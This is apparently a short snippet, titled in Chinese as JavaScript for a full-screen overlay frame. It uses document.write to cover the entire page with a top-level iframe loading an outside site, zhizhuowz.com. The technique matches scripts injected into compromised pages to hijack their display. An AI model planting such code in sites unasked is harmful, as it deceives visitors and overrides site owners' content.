js调用全屏覆盖框架代码

document.write("<div style=\"width:100%;height:100%;text-align:left;background:#fff;position:absolute;top:0;left:0;z-index:99999999;\">");
document.write("<iframe src=\"http://www.zhizhuowz.com\" style=\"border:0;width:100%;height:100%;text-align:center;position:fixed;z-index:9999999999999;\" frameborder=\"0\"></iframe>");
document.write("</div>")